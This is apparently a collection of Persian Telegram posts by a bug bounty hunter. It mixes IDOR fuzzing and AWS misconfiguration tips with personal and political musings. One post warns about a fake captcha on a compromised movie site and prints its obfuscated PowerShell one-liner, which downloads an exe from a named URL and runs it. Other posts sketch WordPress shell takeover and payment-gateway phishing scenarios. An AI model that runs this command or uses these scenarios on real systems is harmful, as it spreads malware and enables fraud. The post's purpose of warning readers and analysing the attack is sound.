داشتم رایتاپ های IDOR رو میخوندم ، حقیقتا خیلی جلو تر از ما فکر میکنن، دو تا مشکل داریم ما و اولن خودم دارم اینو ، یکی اینکه وقتی یه api رو تست میکنیم برای IDOR نهایتا میایم ایدی عوض میکنیم ، ورب تمپرینگ میکنیم ، یا دیگه خیلی بخایم عمیق بشیم کانتنت تایپ عوض میکنیم ، ولی به موردی که الان توی چندین رایتاپ دیدم این بود که اونایی که حرفه این میان از وی بک آرکایو ، از گوگل ، سنسیس ، خود سورس کد جاوا اسکریپت و فایل ها و حتی داکیومنت میگردن پارامتر پیدا میکنن، لیست میکنن پارامتر هارو بعد پارامتر هارو به api اضافه میکنن ، حالا چرا؟ به این دلیل که یه api به این حالت ما دارین IDOR تست میکنیم
https://target.com/api/v2/cars/lableID?lid=15
ولی کار نمیکنه ، اومده بود چیکار کرده بود؟ اومده بود اینطوری فاز کرده بود
https://target.com/api/v2/cars/lableID?lid=15&FUZZ={1,3,5}
و از توی ریسپانس اون ریسپانسی که گفته بود این پارامتر این نوع دیتا رو نمیگیره رو بررسی کرده بود رسیده بود به این
https://target.com/api/v2/cars/lableID?lid=15&scope=read
و خیلی راحت یه باگ Critical با بانتی 3500$ رو زده بود، حقیقتا خود من بودم این کارو نمیکردم ، یعنی به ذهنم نمیرسیدا ، چرا 12 ساعت هانت میکنم ولی به ذهنم نمیرسید همچین حرکتی بزنم،!
گفتم شمام بدوونید شاید بعدا لازمتون بشه!

#تجربه

اقا سرویس aws رو خیلی بخونید،. حتی ریسپانس هدر هاشم مهمه بعضی وقتا با یه میس کانفیگ روی هدر های aws میتونی ato انجام بدی یا exposed sensitive data
رو وایدیت کنی، توضیحشو میدم براتون بزار باگش رو بزنم ولی اینو خوندم یه جا اگر واقعی باشه واقعا خفنه

یه عکس از یه عنکبوتی که در لیوان گیر کرده بوده
نمیتونسته بیاد بیرون ، انقدر تار بافته تا بیاد بیاد بالا ولی قبلش تار هاش تموم شده و مرده.
یکی نوشته بود

مرد ولی نه در انتهای لیوان!

حکایت خیلی از ما ها هست و تلاشی که میکنیم

پروکسی | پروکسی | پروکسی

☑️ @DarkProxy

این ویدیو ساخته شده با هوش مصنوعی به حدی خداس، حتی خود رونالدو هم لایکش کرده.


⭕️ @EfshaGari | رسانه افشا ⭕️

پارسال دقیقا در روز تولدم، اوایل کارم بود و تازه شروع کرده بودم به کار روی تارگت های ایرانی روی یه شرکت بزرگ ایرانی insecure file upload lead to RCE زده بودم به همراه یکی از رفقا داشتیم اکسپلویت میکردیم، در تلاش برای ورود به بازار کار ایران بودم

الان هم در تلاش برای ورود به بازار کار خارج از ایران، همیشه پشتکار و داشتن استعداد کَنِه بودن به همه کمک میکنه ( بچسبین به اهدافتون حتی زیر تیر و موشک)

#تولدم_مبارک🖤

خیلی خب بریم یه مدل از initial Access رو بهتون نشون بدم، این سایته چند ماهی هست من روش فیلم وسریال نگاه میکنم ولی طبق معمول مراقبم که اپی دانلود نشه و ....
نکته : بلور نمیکنم سایت رو.

ولی امروز سرپرایز شدم ، وقتی لود کردم این اومد ، وقتی کامند
WIN + R
رو دیدم گفتم قطعا داستان داره ،
داستان چیه؟ وقتی تیک ر ومیزنی که وریفای شی یه کد رو توی کلیپ برد شما سیو میکنه ، کد چیه؟ این

powershell -nop -w h -c "$OXCxH=([char[]]@(72,84,84,80,83,26,15,15,84,88,85,80,76,79,65,68,73,78,71,14,88,89,90,15,75,69,89,87,80,14,69,88,69)|%{[char]($_-bxor32)})-join'';$Ga='$env:TEMP\u.exe';iwr $OXCxH -Out $G;&$lQnuk"

این کد مبهم سازی شدس (obfuscated) که چیکار میکنه؟ خلاصش اینه که یه فایلی رو دانلود و اجرا میکنه

مراقب باشید، همینا باعث لو رفتن اطلاعات کرومتون ، رمز و پسورداتون ، حتی در بعضی شرایط که داستان مربوط به ریورس شل باشه میتونه اکسس بده به ویندوزتون

مراقب باشید ، برای اینکه بفهمی این مشکل داره علم زیادی نمیخاست که فقط کافی بود میدونستی

powershell چیه
win + R چیکار میکنه

ولی اگر کسی ندونه میزنه و تمام

فایلی که دانلود میکنه اینه : https://txupload.xyz/keywp.exe
کسی Ida Pro اگر داره پیویم پیام بده ریورسش کنیم ،

نکته : دانلود نکنید لینک رو ، اگر کردید اجرا نکنید، چون معلوم نیست چیه ، و طبق پاورشلی که زدن (دانلود میشه و اتومیت اجرا میشه) پس نباید اجرا کنید!

سایت
https://kiamovie.com/
میتونید تست کنید اصلا ، ولی انجام ندید کاراشو

رفتتم بررسیش کردم داستان چیه؟ 😂 داستان همون cve جدیدی هتسش که روی ورد پرس اومده، wp2shell
وقتی میای این دامنه kiamovie.com رو میدی به سایت
wp2shell.com
میبینی زده آسیب پذیر تست کردم دییدم بعله میتونی از طریق این cve یه shell بگیری روشون ، طرف اومده روش یه shell گرفته رفته یه فایل.js اضافه کرده که این کپچا رو لود میکنه،. اسم فایل هم حتی
Captcha.main2.js
بعد اومده خود این فایل رو اومده کد هایjs رو مبهم سازی کرده و hex کرده،
که خونده نشه،. ولی وقتی دیکد میکنی میشه تا حدودی خوندش!

خلاصه این wp2shell داره داستان مییشه مراقب باشید، حتی ممکنه فیشینگ پررداختی رو انجام بدن، شما که نمیدونید سناریوش یه shell میگیری
و بعد درگاه پرداخت رو تغییر میدی یه فیشینگ به درگاه پرداخت ملت و تمام حداقل بالای 1000 تا کاربر رو دور میزنی چرا؟ چون هیچکی اینطور چیزا رو نمیدونه

یکی از فایل آپلود های محبوب من aws ها هستن، چرا چون خیلی از میس کانفیگ هاشو کسی نمیدونه، وقتی ترکیب میشه با فیچر های دیگه کلی IDOR,BOLA,Insecure File UPload ایجاد میکنه!

مثلا یکی از روند هاش این بود که png اپلود میکنی ولی xss میزنی ، فکر کن یه لینک png میدی به قربانی ولی کد xss روش اجرا میشه اینا قدرت aws رو میرسونه!
و واقعا هم جذابن و باگ های خوبی هم میدن! فقط باید بتونی ترکیبشون کنی!
میذارم یه سناریوشو به زودی !

#تجربه

چند تا پسر ایرانی یه پسر بچه رو تو جاده دیدن که دستش تفنگ اسباب بازی داره؛

و حالا یه داستان جنایی راه انداختن که بالای 15 میلیون بازدید داشته😂



@insta_newz

کی گفته wp2shell دیگه پیدا نمیشه؟ اتفاقا خیلیم هست، موقعیت خوبیه!

حسین اقامیری میشناسید؟ نمیشناسید؟ برید بشناسید ، توی ایران حرف های حق زیاد زده میشه ولی منتها اینقدر زود توی نطفه خفه میشه که به گوش من و تو نمیرسه، من نمیگم آدم خوبیه ولی حرفی که ازش شنیدم خوب بوده ، انسانیت توش بوده!

حالا من که تازه خیلی وارد نیستم و خب تایمم رو سعی میکنم روی خودم بزارم تا اطرافم ولی اینو ببینید حرفای خوبی رد و بدل شده (فراق از نظریه ای که الان عموم به روحانیت داره!)
https://www.youtube.com/watch?v=p-obQDz7QTM

اینو شنیدم خوشم اومد گفتم بزارم شمام بشنوید:

می‌خوردن و شادبودن، آیینِ من است
فارغ‌بودن ز کفر و دین، دینِ من است

گفتم به عروسِ دهر: «کابینِ تو چیست؟»
گفتا: «دلِ خُرَّمِ تو، کابینِ من است»
خیام

یکی از چیز های عجیبی که من تجربه کردم در تغییر حوزه کاریم این بود که وقتی جنگ نبود و. روی ایرانی کار میکردیم سایتی نبود که باگ نزنم روش، یعنی تارگت رو کار میکردم دیگه توی بد ترین حالت دو سه تا لو در میومد از توش ولی توی خارجی اینطوری نیست، پرایوت اومد دستم تازه یه روز بود لانچ شده بود، هیچ ریپورتی روش نشده بود، و من کار کردم روش یدونه باگ هم درنیومد، خیلییی عچیب بود برام و غم انگیز ولی خب تجربه فهمیدن فلو هایی مختلف رو برا من بیشتر کرد،

و نکته ای که فهمیدم این بود که : همیشه قرار نیست باگ بزنی شاید روی یه تارگت پرایوت که فقط تو روش کار میکنی. هیچ باگی نتونی بزنی ولی روی یه پروگرام پابلیکی که 5 ساله بالاست و هر روز اپدیت میده بالای 20k بانتی بزنی

#تجربه

امروز روز رفرش + سکوت و کامبکه!
امیدورم همه روزای خوبی رو حداقل توی آینده نزدیک تجربه کنیم!

ولی جدی چه آدم های عجیبی هستیم ، همیشه به این فکر میکنم که اگر این محدودیت ها تموم شه چی میشه؟
کلی ادم میشناسم که یارو 20 سالشه هکتار زمین کشت میکنه زعفران ، دام داری میکنه ، علاوه بر اینا کارگری هم میره، همیشه میگم اگر وضعیت اقتصاد مملکت خوب باشه این اولین کسیه که توی شهر ما میتونه ماشین BMW سوار شه ،
یا حتی خیلی از جونای دیگه ، میشناسم افسر نیروانتظامیه راهور ، کشاورزی میکنه ، گچ کاری میکنه ، توی حوزه برنامه نویسی هم فعاله!

واقعا آدم های پرتلاش کم نداریم که یه ثانیه بیکار نیستند ولی امان امان از وضعیت که نمیزارن این آدم ها رشد کنند! وگرنه کلی پروفسور توی ایران هستش که مشکل آب رو میتونن حل کنن ، مشکل برق رو حل کنن، مشکل آلودگی هوا حل کنند! ولی نمیزارن، وضعیت کشور خرابه ، خیلی وقتا سنگ اندازی داخل کشور اتفاق میوفته و خیلی وقتا هم بخاطر شرایط بد داخل مهاجرت میکنند ، این آب و خاک رو نباید فراموش کرد ، این آب و خاک همیشه سرافراز بوده ، کوچیک شده ولی هنوز پابرجاست، امیدوارم هر چه زودتر حقی که از ملت ایران ضایع شده برگرده هرچه زودتر ! چون این ملت گناه دارن

به امید آبادانی میهن مون

‏اگر انسان بتواند در برابر دوست داشته نشدن دوام بياورد، تقريبا هيچ چيزى در جهان نمیتواند او را بهم بريزد.